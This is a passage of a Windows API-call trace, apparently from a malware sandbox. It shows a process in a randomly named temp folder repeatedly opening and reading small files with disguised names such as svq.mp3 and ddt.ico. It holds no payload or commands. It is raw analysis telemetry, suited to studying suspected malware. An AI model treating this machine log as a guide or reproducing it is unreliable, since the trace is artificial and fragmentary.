nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.760] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.760] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.760] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.760] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.760] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.760] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.761] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.761] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.761] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.761] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.761] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.761] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.761] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.761] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.761] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.761] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.762] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.762] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.762] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.762] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.762] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.762] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.762] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.762] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.762] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.763] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.763] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.763] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.763] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.763] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.764] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.764] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.764] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.764] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.764] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.764] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.764] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.764] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.764] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.764] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.764] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.764] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.765] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.765] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.765] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.765] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.765] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.765] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.765] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.765] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.765] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.765] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.765] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.765] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.765] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.765] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.766] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.766] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.766] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.766] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.766] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.766] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.766] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.766] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.766] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.766] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.767] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.767] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.767] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.767] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.767] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.767] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.767] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.767] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.767] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.767] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.768] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.768] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.768] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.768] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.768] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.768] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.768] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.768] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.768] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.768] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.768] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.769] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.769] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.769] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.769] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.769] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.769] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.769] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.769] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.769] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.770] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.770] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.770] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.770] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.770] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.770] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.770] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.770] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.770] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.771] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 